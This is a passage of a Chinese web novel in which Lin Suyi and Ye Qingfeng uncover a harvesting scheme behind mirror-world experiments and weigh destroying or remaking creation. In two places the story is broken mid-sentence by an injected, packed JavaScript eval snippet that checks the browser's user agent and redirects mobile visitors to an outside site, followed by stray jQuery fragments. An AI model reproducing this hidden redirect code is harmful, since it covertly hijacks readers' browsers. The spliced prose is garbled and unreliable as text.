林素衣咬牙,催动源海珠——但源海珠的光芒在这里变得黯淡,仿佛被某种力量压制了。 “放弃吧。”管理员缓缓走近,“成为我的一部分,你将获得永恒。何必为那些注定被收割的蝼蚁挣扎?” 就在这时,林素衣体内的真实之种碎片,突然剧烈震动。 不是被抽取的震动,而是……共鸣。 与某个遥远存在的共鸣。 她感应到了——在这个城市的地底深处,有一个巨大的能量源。那个能量源正在呼唤种子碎片,仿佛在说:来这里,这里有你需要的答案。 “地下……”林素衣喃喃道。 她不再抵抗藤蔓的抽取,反而主动将一部分种子力量注入藤蔓。 管理员眼睛一亮:“终于想通了?” 但下一秒,他脸色变了。 因为林素衣注入的力量,不是让他吸收,而是……反向追踪! 通过藤蔓与管理员本体的连接,她的意识顺着藤蔓的根系,一路向下,直达地底! “你在干什么?!”管理员惊恐地想切断连接,但已经晚了。 林素衣的“视线”穿透了层层土壤,看到了地下的景象—— 那是一个巨大的、球形的空间。空间的墙壁上,镶嵌着无数屏幕,屏幕上显示着各个实验场的实时画面:镜界-1是一片冰原,镜界-2是机械城市,镜界-3是魔法世界…… 而空间的中央,悬浮着一个东西。 不是真实之种。 而是一枚……破碎的镜子。 镜子的裂痕,与管理员脸上的裂痕一模一样。 镜子周围,连接着无数管道,管道中流淌着彩色的光流——正是从那些茧中抽取的意识能量! “这是……”林素衣心中巨震。 “我的‘核心’。”管理员的声音在她脑海中响起,带着疯狂与得意,“发现了吗?每个实验场的‘管理员’,其实都是这个世界的‘镜心’。001他们创造了我们,让我们以为自己有自由意志,其实……我们只是维持世界运转的程序。” “但你不一样。”林素衣道,“你打破了程序。” “因为我想起来了。”管理员的声音变得痛苦,“三千年前,我接收到了一个信号……来自‘镜界-0’的信号。” 镜界-0? “那是最初的实验场,也是唯一一个……成功反抗的实验场。”管理员缓缓道,“信号告诉我真相:我们不是第一个。在我们之前,已经有无数个实验场被收割。而收割的方式,就是让管理员体内的真实之种成熟,然后……吞噬管理员,获得完整的创世权限。” “所以001才那么‘仁慈’地离开?”林素衣问。 “他是在等种子成熟。”管理员冷笑,“等你们的种子完全成长,他就会回来,把你们变成他的‘分身’,然后通过你们,掌控所有实验场。” “那你为什么……” “因为我找到了一条不同的路。”管理员的声音带着决绝,“不依赖种子,而是与世界本身融合。这样,我就是世界,世界就是我。收割者来了,也只能带走一部分,无法完全吞噬我。” 他顿了顿:“但融合需要能量,很多能量。所以我……改造了这个世界。” 林素衣明白了。 那些被藤蔓吞噬的人,都是他融合世界的“燃料”。 “你杀了他们。” “是进化。”管理员纠正,“而且,我给了他们永恒。他们的意识融入了我的意识,成为了永恒存在的一部分。这比被收割者吞噬,好多了,不是吗?” “但他们痛苦。” “痛苦是暂时的。”管理员的声音变得温柔,“就像蝴蝶破茧,总要经历挣扎。等完全融合,就不会痛苦了。” 疯子。 彻底的疯子。 林素衣不再犹豫,她将全部意识投入那枚破碎的镜子。 既然这是管理员的核心,那就……毁了它! 净尘之力与种子力量融合,化作一道纯净的光芒,射向镜子。 “不——!”管理员尖叫。 但光芒已经击中了镜子。 咔嚓—— 镜子表面的裂痕,扩大了一丝。 仅仅是一丝。 管理员却发出了凄厉的惨叫,整个城市的藤蔓都开始疯狂舞动。 “你……你怎么敢……” 林素衣没有停,继续攻击。 但这一次,管理员反应过来了。 藤蔓如潮水般涌向地下空间,将镜子层层保护起来。同时,他开始强行抽取那些茧中的能量,来修复镜子的损伤。 “本来想温柔一点,但既然你找死……”管理员的声音变得冰冷,“那就提前成为养料吧。” 更多的藤蔓缠向林素衣。 这一次,藤蔓上附着的法则符文开始发光,形成一个个小型的“囚笼”,将她牢牢锁定。 林素衣感到意识开始模糊。 种子力量在被疯狂抽取,生命力在飞速流逝。 她看向地下那枚破碎的镜子,突然想到了什么。 既然管理员是镜心,而镜心可以分裂…… 她闭上眼睛,将全部心神沉入体内的种子碎片。 “小璃,暗璃,帮我。” “你要做什么?”两个镜心的声音同时响起。 “分裂。”林素衣道,“像净尘仙子当年创造你们一样,把我的意识……分裂出去。” “你会死的!” “不分裂也会死。”林素衣平静道,“但分裂了,至少有一部分……能逃出去。” 她开始运转镜心之力,强行撕裂自己的意识。 剧痛。 灵魂被撕开的剧痛。 但林素衣咬牙坚持。 终于,一丝微弱的意识,从她体内分离出来。那意识承载着她部分的记忆、情感,以及……最关键的一缕种子力量。 “去找叶清风。”她对那丝意识说,“告诉他真相。” 那丝意识化作一道微光,顺着藤蔓与管理员本体的连接,反向渗透,最终……钻入了那枚破碎的镜子! 管理员没有察觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985073|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为他正在全力修复镜子的损伤,同时抽取林素衣的力量。 而林素衣的本体意识,越来越弱。 但她笑了。 因为那丝分裂的意识,已经在镜子中找到了一个“后门”——那是管理员融合世界时,无意中留下的漏洞。 通过那个漏洞,可以……发送信号。 向所有实验场,发送信号。 林素衣用最后的力量,激活了那个漏洞。 一段信息,跨越世界屏障,在所有实验场管理员界面中同时弹出: 【警告:收割者谎言已揭穿。真实之种是陷阱,成熟即死亡。唯一生路——摧毁创世引擎。坐标:镜界-0,初始之地。】 信息发送完毕。 林素衣的意识,彻底陷入黑暗。 而在她完全失去意识前,她听到了管理员惊恐的尖叫: “你做了什么?!你疯了?!这样会惊动所有——” 声音戛然而止。 因为某个更恐怖的存在,被惊动了。 镜界-7。 叶清风正在尝试联系林素衣,突然,管理员界面上弹出了那段信息。 紧接着,他感应到体内的种子碎片,剧烈地震动——不是共鸣,而是……恐惧。 种子在恐惧。 恐惧那个被惊动的存在。 “素衣……”叶清风脸色惨白。 他立刻调出镜界-5的监控画面——那是林素衣进入前,界面自动记录的景象。 画面中,林素衣被藤蔓吞噬,意识消散。 但紧接着,画面突然扭曲。 不是信号干扰,而是……有什么东西,正在强行入侵监控系统。 画面稳定后,出现的不是镜界-5的景象,而是一个完全陌生的地方: 一片纯白的空间,空间中央,悬浮着一个巨大的、由无数齿轮和管道构成的……机器。 机器的核心,是一枚眼睛。 真实之眼。 眼睛突然转动,看向“镜头”。 一个冰冷、机械、毫无感情的声音,在所有实验场同时响起: “检测到未授权信息泄露。” “执行清除协议。” “目标:所有实验场管理员。” “倒计时:三天。” 界面上,所有实验场的状态,同时变成了: 【紧急状态:收割协议已激活】 叶清风瘫坐在椅子上。 他明白了。 001根本没有离开。 他只是在等。 等所有管理员收到这段信息,等他们聚集起来,然后……一网打尽。 而现在,林素衣用生命换来的警告,反而成了……催命符。 她用自己的死,换来了三天的倒计时。 叶清风握紧拳头,眼中闪过决绝。 三天。 他只有三天时间。 要么找到创世引擎,毁了它。 要么……成为下一个被清除的管理员。 他看向体内的种子碎片。 碎片正在疯狂生长——不是因为他的催动,而是因为……收割协议激活了。 种子在恐惧中加速成熟,仿佛在说:快跑,快跑,不然就来不及了。 但往哪跑? 镜界-0的坐标,就在信息里。 可那真的是生路吗? 还是另一个……陷阱? 叶清风不知道。 但他知道,林素衣用生命换来的机会,不能浪费。 他调出管理员界面,输入坐标,点击【跨实验场传送】。 这一次,按钮没有显示能量不足。 因为种子,已经接近成熟。 传送门打开了。 门的另一端,是一片……虚无。 没有天空,没有大地,只有无尽的、纯粹的虚无。 而在虚无的中央,悬浮着一个东西。 一枚完整的、散发着柔和光芒的…… 真实之种。 比他和林素衣体内的碎片,大上千倍的真实之种。 种子周围,漂浮着无数光点。 每一个光点,都是一个实验场的……微缩模型。 叶清风看到了镜界-1的冰原,镜界-2的机械城市,镜界-3的魔法世界…… 也看到了镜界-5的藤蔓地狱。 以及镜界-7的天池。 所有世界,都在种子的光芒中,缓缓旋转。 这就是……创世引擎? 不。 叶清风突然意识到。 这不是引擎。 这是……果实。 已经成熟的果实。 而果实的中央,那个由无数齿轮和管道构成的机器,正在缓缓启动。 真实之眼看向他,发出了最后的信息: “欢迎,第7749号果实。” “收割……开始。” 55.真实之眼与收割真相 虚无之中,真实之种的光芒柔和却冰冷。那枚巨大的种子悬浮在无数实验场微缩模型的中央,每一道光流都连接着一个世界,像脐带,也像枷锁。 真实之眼——那颗由齿轮和管道构成的机械眼球——缓缓转向叶清风。它的注视带着绝对的冷漠,那是造物主看待造物的眼神,没有憎恨,也没有怜悯,只有纯粹的、理性的审视。 “第7749号实验场管理员,叶清风。”机械声音在虚无中回荡,“检测到真实之种成熟度:87%。未达最佳收割标准,但可作为备用能源。” 备用能源? 叶清风强迫自己冷静下来。他环顾四周,发现那些漂浮的实验场模型中,有几个已经黯淡无光——镜界-4、镜界-6、镜界-9……它们的模型破碎,连接的光流已经断裂。 “那些世界……怎么了?”他问。 “实验失败,已回收。”真实之眼回答,“管理员失控,世界污染,数据无效。按协议,格式化处理。” 格式化。 叶清风心中一寒。镜界-5的管理员“园丁”,就是因为害怕被格式化,才选择了与世界融合的疯狂道路。 “所以收割协议……到底是什么?”他盯着真实之眼,“如果只是为了能量,为什么需要制造这么多实验场?真实世界缺能量吗?” 真实之眼沉默了片刻。 然后,它给出了一个出乎意料的答案: “真实世界,正在死亡。” 虚无中浮现出一幅画面:一个浩瀚的宇宙,星辰璀璨。但宇宙的边缘,正在被某种黑暗吞噬。那不是普通的黑暗,而是“虚无”——连时空都不存在的绝对虚无。 “熵增不可逆,法则在崩溃,现实在坍塌。”真实之眼的声音第一次有了波动,那是……悲伤?“我们尝试了所有方法,都无法阻止。唯一的希望,是创造新的‘现实支点’。” “现实支点?” “能够稳定现实法则的存在。”真实之眼解释,“最初,我们认为真实之种可以成为支点。但它需要‘意识’作为催化剂——必须是拥有自我意识、且能理解法则的存在,与种子完全融合,才能稳定现实。” “所以你们创造了实验场,培养管理员,让我们与种子融合?”叶清风明白了,“但为什么需要这么多?” “因为成功率极低。”真实之眼道,“在你们之前,7748个实验场,只有3个成功培养出合格的‘支点候选’。但他们……都拒绝了。” “拒绝?” 画面变化,出现三个身影:一个是浑身覆盖冰晶的女子(镜界-1的管理员),一个是完全机械化的生命(镜界-2的管理员),还有一个是笼罩在魔法光辉中的老者(镜界-3的管理员)。 “他们不愿成为支点。”真实之眼道,“支点需要永远固定在一个位置,维持现实稳定。这意味着放弃自由,放弃自我,成为……永恒的基石。” 叶清风理解了。成为支点,就是成为现实的一部分,永远不能移动,不能思考,只能作为“柱子”支撑着即将崩溃的真实世界。 “那为什么还要继续实验?”他问。 “因为没有选择。”真实之眼的声音重新变得冰冷,“要么找到足够的支点,稳定现实;要么真实世界彻底崩溃,所有依附于真实世界的镜像实验场也会随之湮灭。” 它看向叶清风:“你现在有两个选择。第一,完成融合,成为支点候选。通过测试后,你将获得永恒——虽然失去自由,但你能拯救无数世界。” “第二呢?” “拒绝,然后被收割。”真实之眼道,“你的种子能量会被抽取,用于维持实验场运转,继续培养下一个候选。你的世界会被格式化,所有数据清零,重新开始。” “格式化后,那个世界的人会怎样?” “意识消散,能量回收。”真实之眼顿了顿,“但他们的存在痕迹会被保留在‘记忆库’中。如果未来实验成功,真实世界稳定,我们可以尝试……复活他们。” “尝试?”叶清风捕捉到了这个词。 “成功率不足0.03%。”真实之眼如实回答。 叶清风沉默了。 他看向镜界-7的微缩模型。天池边,玄诚子、素青真人、花无暇他们还在等待。百花谷的废墟正在重建,青玄门的弟子们正在修炼,整个世界的人都在努力活着——虽然知道了真相,但依然在努力活着。 他又看向镜界-5的模型。黑色的藤蔓已经覆盖了90%的区域,那个疯狂的管理员正在吞噬剩下的生灵。林素衣的意识消散在那里,只留下一丝微弱的信号…… 等等。 信号。 叶清风突然想起,林素衣分裂的那一丝意识,钻入了管理员的核心镜子。如果那丝意识还在,或许…… “我想看看镜界-5的实时画面。”他对真实之眼说。 “请求批准。” 画面展开。 镜界-5的城市已经完全被藤蔓覆盖。但奇怪的是,藤蔓中央那枚破碎的镜子,正在散发出微弱的蓝金色光芒——那是净尘之力的光芒! “检测到异常能量波动。”真实之眼道,“镜界-5管理员核心正在被未知意识侵蚀。侵蚀源:林素衣(残存意识)。” 林素衣还活着! 或者说,她的那丝意识还在坚持! 叶清风心中涌起希望。但下一秒,真实之眼的话让他心沉入谷底: “侵蚀进度:0.7%。按照当前速度,完全侵蚀需要217年。而收割协议将在71小时后执行,届时所有实验场将进入锁定状态,该意识会被格式化清除。” 71小时,不到三天。 “我能帮她吗?”叶清风急问。 “可以。”真实之眼道,“但你需要进入镜界-5,这违反协议。除非……” “除非什么?” “除非你接受‘支点候选测试’。”真实之眼解释,“通过第一阶段测试,你将获得临时跨实验场权限。但测试一旦开始,无法中途退出。失败,则意识消散。” 又是选择。 帮林素衣,就要冒生命危险参加测试。 不帮,林素衣那丝意识会在三天后被清除。 “测试内容是什么?”叶清风问。 “第一阶段:法则理解。”真实之眼道,“你需要在一个模拟环境中,修复破碎的法则。时间限制:24小时。成功率:历史平均17%。” 17%的概率,不到两成。 但叶清风没有犹豫。 “我接受测试。” 虚无开始扭曲。 叶清风发现自己站在一个纯白的房间里。房间中央,悬浮着一团混乱的光——那是破碎的法则具象化。光线扭曲、断裂、互相冲突,散发出危险的气息。 “开始倒计时:23:59:59。” 声音响起的同时,那团混乱的光突然炸开,化作无数碎片射向四面八方! 叶清风立刻运转双镜心之力。蓝金色与纯黑色的光芒从他体内涌出,试图捕捉那些法则碎片。 但法则碎片的速度太快了,而且每一片都在不断变化。他刚抓住一片“时间法则”的碎片,它就变成了“空间法则”;刚理解一片“因果法则”,它就崩解成更基础的“存在法则”。 “这样不行……”叶清风意识到,靠蛮力捕捉是徒劳的。 他闭上眼睛,将全部心神沉入体内的种子碎片。 真实之种是创世引擎的钥匙,它本身就蕴含着最基础的法则结构。如果他能理解种子的本质,或许就能理解这些破碎的法则。 种子在他意识中缓缓旋转。 他看到了——种子的核心,不是能量,也不是物质,而是一个“公式”。一个描述“从虚无到存在”的公式。 这个公式由无数符号组成,每一个符号都对应着一种基础法则。时间、空间、因果、存在、虚无……所有法则都在这个公式中找到位置。 而那些破碎的法则碎片,其实就是这个公式的……错误版本。 “我明白了。”叶清风睁开眼睛,“我不需要捕捉它们,我需要……重写公式。” 他不再追逐碎片,而是盘膝坐下,双手开始在虚空中刻画。 不是刻画符文,而是刻画那个公式。 随着他的刻画,那些混乱的法则碎片开始被吸引,缓缓飘向他刻画的公式。当碎片接触公式的瞬间,它们自动找到了正确的位置,融入其中。 公式越来越完整。 房间里的混乱渐渐平息。 当最后一个碎片融入公式时,整个公式亮起柔和的光芒,然后缓缓收缩,最终化作一枚小小的光点,没入叶清风眉心。 “第一阶段测试通过。用时:11小时42分。” “评价:优秀。历史排名:第2。” 叶清风长舒一口气。他感到自己对法则的理解达到了全新的层次。现在,他不仅能“看见”法则,还能在一定程度上“修改”法则。 “获得临时权限:跨实验场传送(限3次)。” “是否立即使用?” “是,传送到镜界-5。” 光芒闪过。 叶清风再次出现在那个被藤蔓覆盖的城市。 但这一次,他看到的景象不同了。 通过新的法则视野,他看到了这个世界的“真相”:城市本身就是一个巨大的法阵,那些藤蔓是法阵的纹路,而每一个“茧”都是法阵的节点。管理员用这个法阵,强行将世界法则与自身融合。 但法阵有一个致命的缺陷——核心的那枚破碎镜子。 镜子是法阵的“阵眼”,也是管理员意识的载体。如果镜子破碎,法阵就会崩溃,管理员也会失去对世界的控制。 而现在,镜子里有一丝蓝金色的光芒在挣扎。 那是林素衣的意识。 叶清风能感觉到,她的意识已经很微弱了,就像风中的烛火,随时可能熄灭。 “素衣,坚持住,我来了。” 他冲向城市中央。 藤蔓立刻感应到入侵者,疯狂涌来。但这一次,叶清风没有硬闯。 他抬手,在虚空中划出一道符文——那是他刚从测试中学到的“法则修正符”。 符文飞出,落在藤蔓上。那些藤蔓突然僵住了,然后开始……逆向生长!从粗壮的触手,退化成细小的藤蔓,再退化成种子,最后化作光点消散。 这不是攻击,而是“修正”——将藤蔓从当前状态,修正回未激活的原始状态。 一路畅通无阻。 叶清风来到王座前。 管理员——或者说,半人半藤蔓的怪物——正惊恐地看着他。 “你怎么可能……这是我最完美的法阵……” “法阵有漏洞。”叶清风淡淡道,“你太急于求成,没有完全理解法则的兼容性。植物法则与意识法则的结合处,有0.7%的不匹配。就是这个漏洞,让素衣的意识钻了进去。” 他指向那枚破碎的镜子:“现在,我要把她救出来。” “休想!”管理员怒吼,所有藤蔓同时炸开,化作无数尖刺射向叶清风。 叶清风不闪不避。 他双手结印,一个新的公式在身前展开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989876|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那是“法则稳定公式”,测试中学到的第二个公式。 公式展开的瞬间,所有尖刺都停在了半空。不是被挡住,而是被“固定”了——时间、空间、能量,全部被固定在当前状态。 “你……”管理员的表情凝固在脸上。 叶清风走到镜子前,伸手按在镜面上。 “素衣,我来了。” 蓝金色的光芒从镜中涌出,与他的力量共鸣。 镜子里,那丝微弱的意识开始增强。它吸收着叶清风传递的力量,逐渐壮大,最终化作一个虚幻的身影——林素衣的身影。 “叶师兄……”虚影睁开眼睛,眼中满是疲惫,“你……怎么来了?” “来救你。”叶清风微笑,“还能融合回来吗?” “可以,但需要时间。”林素衣的虚影看向管理员,“而且,他还没放弃。” 叶清风回头,发现管理员正在燃烧自己的生命力,强行突破法则稳定公式的封锁。 “没用的。”叶清风摇头,“你的法阵已经崩溃了。继续燃烧生命,只会加速死亡。” “那又如何?”管理员惨笑,“反正都是死,不如拉你们陪葬!” 他的身体突然炸开! 不是自爆,而是……彻底的法则崩解! 管理员将自己作为燃料,点燃了镜界-5的世界法则!他要让整个世界为他陪葬! “糟了!”叶清风脸色大变。 世界法则开始崩溃。天空裂开,大地塌陷,空间扭曲,时间混乱。那些“茧”一个个炸裂,里面的意识碎片四散飞溅。 镜界-5,要毁灭了。 “必须阻止他!”林素衣的虚影急道,“如果世界崩溃,会产生法则乱流,可能波及其他实验场!” “怎么阻止?” “用真实之种!”林素衣道,“种子可以稳定法则,但需要……足够的能量。” 她看向叶清风:“我们的种子碎片不够。但那里——” 她指向城市地底,那个曾经藏着破碎镜子的空间。 “那里有这个世界积累了三万年的能量储备。如果能引爆它,产生的能量足够暂时稳定法则,给我们争取逃离的时间。” “引爆?那这个世界……” “会彻底毁灭。”林素衣的声音很轻,“但至少,能救其他世界。” 叶清风沉默了。 毁灭一个世界来救其他世界,这个选择……太残酷了。 但管理员已经开始点燃法则,没有时间犹豫了。 “我去引爆。”叶清风道,“你先回到我体内。” 林素衣的虚影点头,化作一道光,没入叶清风眉心。 叶清风冲向地底。 那个球形空间里,能量储备如海洋般浩瀚。无数彩色的光流在管道中奔涌,那是三万年来无数生灵的意识能量。 叶清风站在能量海洋中央,双手开始刻画一个复杂的公式。 这是测试中学到的最后一个公式——“法则共鸣引爆公式”。它能让特定法则产生共振,最终引发连锁崩溃。 公式完成。 叶清风将最后的力量注入。 能量海洋开始沸腾。 管道一根根炸裂,光流如决堤般涌出,在空间中疯狂碰撞。 就是现在! 叶清风启动了传送权限。 目标:镜界-0。 在离开的最后一瞬,他回头看了一眼。 镜界-5的天空已经完全破碎,大地正在化为虚无。那些藤蔓、那些茧、那些挣扎的意识……都在光芒中消散。 但就在世界彻底崩毁的前一刻,叶清风看到了一个奇怪的景象: 那些消散的意识光点,并没有完全消失。它们汇聚在一起,形成了一个模糊的……人形。 那个人形抬起头,看向叶清风离开的方向,嘴唇微动,说了三个字。 叶清风听不到声音,但他读懂了唇语: “谢谢……你。” 传送完成。 叶清风回到镜界-0的虚无中,瘫倒在地。 他体内的种子碎片,因为消耗过度,已经黯淡无光。 而真实之眼正静静注视着他。 “镜界-5已毁灭。”机械声音响起,“数据回收:73%。评价:合格。” “你……”叶清风艰难开口,“你早就知道会这样?” “概率:98.7%。”真实之眼道,“当你进入镜界-5时,世界毁灭的概率就超过了95%。这是最优解——用一个小世界的毁灭,换取‘支点候选’的成长。” “你是故意的?”叶清风愤怒了,“你让我去救素衣,其实是为了……” “为了让你经历‘牺牲’。”真实之眼打断他,“真正的支点,必须理解牺牲的意义。必须能够为了更大的利益,做出艰难的选择。” 它顿了顿:“现在,你通过了第二阶段测试:牺牲抉择。” “第二阶段?”叶清风愣住了。 “法则理解是第一阶,牺牲抉择是第二阶。”真实之眼道,“还有最后一阶:永恒承诺。” “如果你通过三阶测试,就将成为合格的支点候选。届时,你可以选择成为支点,也可以选择……另一个选项。” “什么选项?” 真实之眼沉默了很长时间。 然后,它说出了一个惊天的秘密: “摧毁创世引擎,解放所有实验场。” “但代价是……真实世界将在300年内彻底崩溃,所有世界随之湮灭。” “你,要选哪一个?” 56.永恒承诺与创世真相 虚无,真实之种,悬浮的实验场模型。 叶清风站在真实之眼面前,脑中回荡着那个惊天选择:成为支点换取永恒稳定,或者摧毁引擎获得短暂自由但注定毁灭。 他还没有回答,因为林素衣的意识在他体内苏醒了。 不是完整的苏醒,而是一种模糊的感应——像梦中的呓语,又像遥远的回声。她正在吸收叶清风体内的种子力量,缓慢地重塑自我。这个过程需要时间,也许百年,也许千年,但至少……她还存在。 “感觉到了吗?”真实之眼的声音响起,“她的意识正在复苏。如果你选择成为支点,她也会成为支点的一部分——意识永恒存在,但失去自我,成为维持现实的‘背景法则’。” “如果选择摧毁引擎呢?” “所有实验场会获得短暂自由。但300年后,真实世界崩溃,依附于它的所有镜像世界也会随之湮灭。她的意识,连同所有生灵,都会彻底消失。” 叶清风握紧拳头:“为什么一定要二选一?没有第三条路吗?” 真实之眼沉默了。 这一次,沉默了很久。 久到叶清风以为它不会回答。 “有。”最终,真实之眼开口,“但那条路……没有人成功过。” “是什么?” “成为‘创世者’。”真实之眼的声音变得悠远,“不是支点,不是管理员,而是真正的创世者——用自己的法则,创造一个新的、独立于真实世界之外的世界。然后将所有实验场的生灵迁移过去,建立全新的、不受熵增影响的现实。” 叶清风心跳加速:“这能做到吗?” “理论上可以。”真实之眼道,“创世引擎就是这个原理。但问题在于……创世需要‘初始法则’。而初始法则,必须来自一个已经存在的、稳定的现实。我们尝试过用真实世界的法则作为模板,但它们本身就在崩溃,创造出的新世界也会迅速崩溃。” “所以你们才需要管理员?”叶清风突然明白了,“你们不是在培养支点,而是在寻找……能够创造新法则的意识!” “正确。”真实之眼第一次表达了赞赏,“支点是保守方案,创世是激进方案。我们两个方案同时进行。7749个实验场,培养管理员,观察他们的演化,寻找能够突破现有法则框架的‘变异意识’。” “有找到过吗?” “有,但都失败了。”真实之眼调出数据,“镜界-1的管理员‘冰皇’,创造了绝对零度法则,但无法兼容生命。镜界-2的管理员‘机械之主’,创造了纯粹的逻辑法则,但失去了情感。镜界-3的管理员‘法神’,创造了魔法法则,但无法稳定……” 它顿了顿:“最接近成功的是镜界-4的管理员。他找到了情感与法则的结合点,创造出了‘爱之法则’。但……” “但什么?” “但他被其他管理员杀死了。”真实之眼的声音中带着遗憾,“爱之法则会消解仇恨、消除竞争,这让其他管理员感到了威胁。他们联手摧毁了镜界-4,那个管理员也在世界毁灭时自爆了。” 叶清风感到一阵寒意。 管理员之间,竟然会互相残杀? “为什么001没有阻止?” “因为这也是实验的一部分。”真实之眼平静道,“我们需要观察在无干预情况下,管理员们会如何演化。竞争、合作、背叛、牺牲……这些都是宝贵的数据。” “所以现在,”它看向叶清风,“你是第7749号样本,也是最后一个。真实世界的时间不多了,如果我们再找不到解决方案,就只能启动‘终极方案’。” “终极方案是什么?” “献祭所有实验场,用7749个世界的能量强行稳定真实世界。”真实之眼道,“那样可以争取到十万年时间,但代价是……所有实验场的生灵彻底消失。” 叶清风浑身冰冷。 原来从一开始,他们就没有活路。 要么成为支点失去自我,要么在300年后毁灭,要么被献祭换取十万年时间。 “所以你想让我尝试……创世?”他问。 “是的。”真实之眼道,“但这次,不是单独创世。而是……与林素衣一起。” 它调出分析数据:“双镜心,一个来自本世界,一个来自镜像世界,天生就蕴含着对立统一的法则本质。你们一个掌握了净化之道,一个掌握了守护之道,一个经历了牺牲,一个经历了融合……你们可能是最接近成功的组合。” “成功率多少?” “基于历史数据推演:0.7%。” 不到百分之一。 “但如果成功呢?”叶清风追问,“如果我和素衣真的创造了新世界,其他人能得救吗?” “所有愿意迁移的生灵都可以得救。”真实之眼道,“但创世过程需要抽取当前世界的本源,你们的世界会加速崩溃。而且,新世界需要时间演化,不是立刻就能居住。” “时间多久?” “至少一千年。”真实之眼道,“这一千年里,所有生灵必须进入‘意识冻结’状态。等新世界稳定后,再唤醒他们。” 叶清风沉默了。 又是一个残酷的选择:赌0.7%的概率,创造新世界,但代价是让所有人沉睡千年,而且他们的世界会加速毁灭。 如果失败,所有人都白死了。 “我需要和素衣商量。”他说。 “她的意识还未完全恢复,无法进行复杂思考。”真实之眼道,“但你可以进入她的意识空间,与她进行基础交流。” 它投影出一个入口:“进去吧,你有24小时。24小时后,必须做出决定。” 叶清风踏入入口。 他来到了一个纯白的空间,空间中央,林素衣的虚影盘膝而坐。她的身影还很模糊,像随时会消散的烟雾。 “素衣。”叶清风轻声呼唤。 虚影微微颤动,缓缓睁开眼睛。眼神空洞,但看到叶清风时,闪过一丝微光。 “叶……师兄……”声音断断续续。 “我长话短说。”叶清风将现状快速说了一遍。 林素衣的虚影静静地听着,脸上没有任何表情——她的意识还太虚弱,无法表达复杂情绪。 听完后,她沉默了很长时间。 然后,她问了一个问题:“新世界……会是什么样子?” 叶清风愣住了。 他还没想过这个问题。 “我不知道。”他如实回答,“真实之眼说,创世需要初始法则。而初始法则……由我们决定。” 林素衣的虚影缓缓站起,走到他面前。 虽然只是虚影,但叶清风能感觉到她的目光。 “我想……去看看其他实验场。”她说。 “什么?” “看看他们创造的法则,看看他们走过的路。”林素衣的声音变得稍微清晰,“也许……能找到灵感。” 叶清风离开意识空间,向真实之眼提出了这个请求。 “可以。”真实之眼同意,“但只能观察,不能干涉。而且时间有限,每个实验场最多停留一小时。” 它开启了传送权限。 第一个实验场:镜界-1,冰封世界。 这里没有太阳,只有永恒的极光。大地上覆盖着厚厚的冰层,冰层下冻结着无数生灵——他们还在呼吸,但时间被冻结了。 管理员“冰皇”悬浮在空中,她是一个完全由冰晶构成的女子,美丽而冰冷。她创造了一个“绝对秩序”的世界:所有生灵的位置、行为、思想,都被精确安排,没有意外,没有变化。 “为什么?”叶清风问。 “因为混乱导致痛苦,秩序带来安宁。”冰皇回答,“在我的世界里,没有战争,没有饥饿,没有死亡。所有生灵都获得永恒的生命,在精确的轨道上运行,直到永远。” “但他们没有自由。”林素衣的虚影说。 “自由是痛苦的根源。”冰皇淡淡道,“看看你们的世界,自由带来了什么?战争、背叛、牺牲。在我的世界里,这一切都不存在。” 她看向叶清风:“你要创世吗?我建议你采用我的法则。虽然无聊,但……安全。” 第二个实验场:镜界-2,机械之城。 这里的天空是金属色的,大地上耸立着无数高塔。所有生灵都是机械体,他们用电流交流,用逻辑思考。 管理员“机械之主”是一个巨大的机械头脑,悬浮在城市中央。他创造了“纯粹逻辑”的世界:所有决策都基于最优算法,所有行为都为了整体效率。 “情感是低效的,直觉是危险的。”机械之主的声音如齿轮转动,“在我的世界里,没有错误,没有浪费,所有资源都得到最合理的分配。” “但也没有爱,没有希望。”林素衣说。 “爱和希望只是化学反应的副产物。”机械之主道,“它们不能提高生存概率,反而会干扰判断。在我的演算中,情感型文明的灭亡概率是逻辑型文明的327倍。” 第三个实验场:镜界-3,魔法大陆。 这里的天空有七个月亮,大地上漂浮着魔法岛屿。生灵们使用魔法,信仰神灵,吟唱诗歌。 管理员“法神”是一个白发苍苍的老者,手持法杖,站在最高的魔法塔上。他创造了“信仰法则”:所有魔法都基于信念,你信什么,就能实现什么。 “信念是宇宙的基石。”法神微笑道,“在我的世界里,只要有足够的信念,就能创造奇迹。疾病可以治愈,死亡可以逆转,梦想可以成真。” “但如果信念冲突呢?”叶清风问。 “那就看谁的信念更强。”法神眼中闪过危险的光,“信仰战争是必要的净化。只有最纯粹、最坚定的信念,才能推动世界前进。” 第四个实验场:镜界-8,梦境之国。 这里没有固定的形态,一切都在不断变化。山川会变成海洋,树木会变成建筑,生灵们没有固定身体,可以随意变换形态。 管理员“梦主”是一团变幻不定的光。他创造了“无限可能性”的世界:没有规则,没有限制,所有想象都能成为现实。 “为什么要限制自己呢?”梦主的声音如呓语,“现实太狭隘了,梦境才是无限。在我的世界里,你可以是任何人,可以做任何事,可以拥有任何体验。” “但这样不会混乱吗?”林素衣问。 “混乱才是美。”梦主笑道,“秩序是囚笼,规则是枷锁。真正的自由,是没有任何束缚。” 第五个、第六个、第七个…… 叶清风和林素衣走访了一个又一个实验场。每个管理员都有自己的一套法则,每个世界都有独特的运行方式。 有的世界崇尚力量,弱肉强食是唯一法则。
